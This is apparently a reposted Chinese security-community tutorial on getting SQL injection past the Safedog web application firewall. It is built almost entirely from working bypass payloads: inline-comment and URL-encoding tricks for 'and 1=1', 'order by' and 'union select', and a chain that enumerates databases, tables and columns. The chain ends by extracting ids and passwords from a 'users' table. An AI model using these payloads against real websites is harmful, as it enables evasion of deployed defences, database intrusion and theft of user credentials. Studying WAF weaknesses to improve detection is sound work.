联合查询绕过安全狗

zkpyr02023-07-21文章来源:SecHub网络安全社区


绕过and 1=1

payload 结果
and 未拦截
1=1 未拦截
and 1=1 拦截

如图:

说明只有and和1=1在一起时安全狗才会拦截,那就需要干扰安全狗将and和1=1使用一系列注释和特殊字符分开

/*!and/*/**//*!/*!1=1*/

总结

安全狗拦截了and,or,&&,||

但是使用url编码即可绕过and=>&&=>%26%26,or=>||=>%7c%7c

%26%26 1,%26%260,%7c%7c 1, %7c%7c 0均拦截

1可以替换位True,0可以替换位False,绕过

Xor True 和 Xor False也可以绕过

例子:

/*!and/*/**//*!/*!1=1*/

绕过order by

payload 结果
order 未拦截
by 未拦截
order by 拦截

如图:

内联注释 /*!*/ 不加叹号就是注释,加上叹号会执行后面的语句

空格可以用加号代替

order /*/ -- /*/ by 3会被拦截

加版本号也会被拦截

order /*!50726by*/ 3%23 order /*!50726by*/ 3 --+ 也会被拦截

/*/!**/当作空格可以绕过

总结

用/*/!**/当作空格可以绕过

oreder by中间加上 /*/ /*/%20 /*/ /*/

例子:

order /*/ /*/%20 /*/ /*/ by 3
order/*/!**/by/*/!**/3

绕过union select

payload 结果
union 未拦截
select 未拦截
union select 拦截

如图:

union /*//--/*/ select 1,2,3 --+ 

union /*//*//*//*/ select 1,2,3 --+

?id=1'%20 union/*/!*!**/select 1,2,3 --+

?id=1'%20 union/*!--+/*%0Aselect 1,2,3*/ --+

可以利用–+%0a这种格式通过换行继续执行

总结:

?id=1'%20 union/*!--+/*%0Aselect 1,2,3*/ --+
?id=1'%20 union/*/!*!**/select 1,2,3 --+
union /*//*//*//*/ select 1,2,3 --+
union /*//--/*/ select 1,2,3 --+

绕过database()

被拦截

1' union/*/!*!**/select 1,database/*/!//*/(),3 --+

database()version()和user()绕过可以

在()前面加上 /*/!//*/

拿表

?id=1' union/*/!*!**/select 1,group_concat(table_name),3 --+

只需绕过 union select即可

拿全部库

?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(schema_name) /*!from*/
/*!--+/*%0ainformation_schema./*!schemata*/ --+

这个就是需要多绕过from和 information_schema.schemata

使用内联和回车绕过

拿表

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!-- /*%0ainformation_schema.tables*/ where table_schema='security'--+

绕过方式与拿全部库相同

拿列

?id=-1' union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/ where table_name='users'--+

拿字段

?id=-1' union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+

绕过 union select 和 from 以及users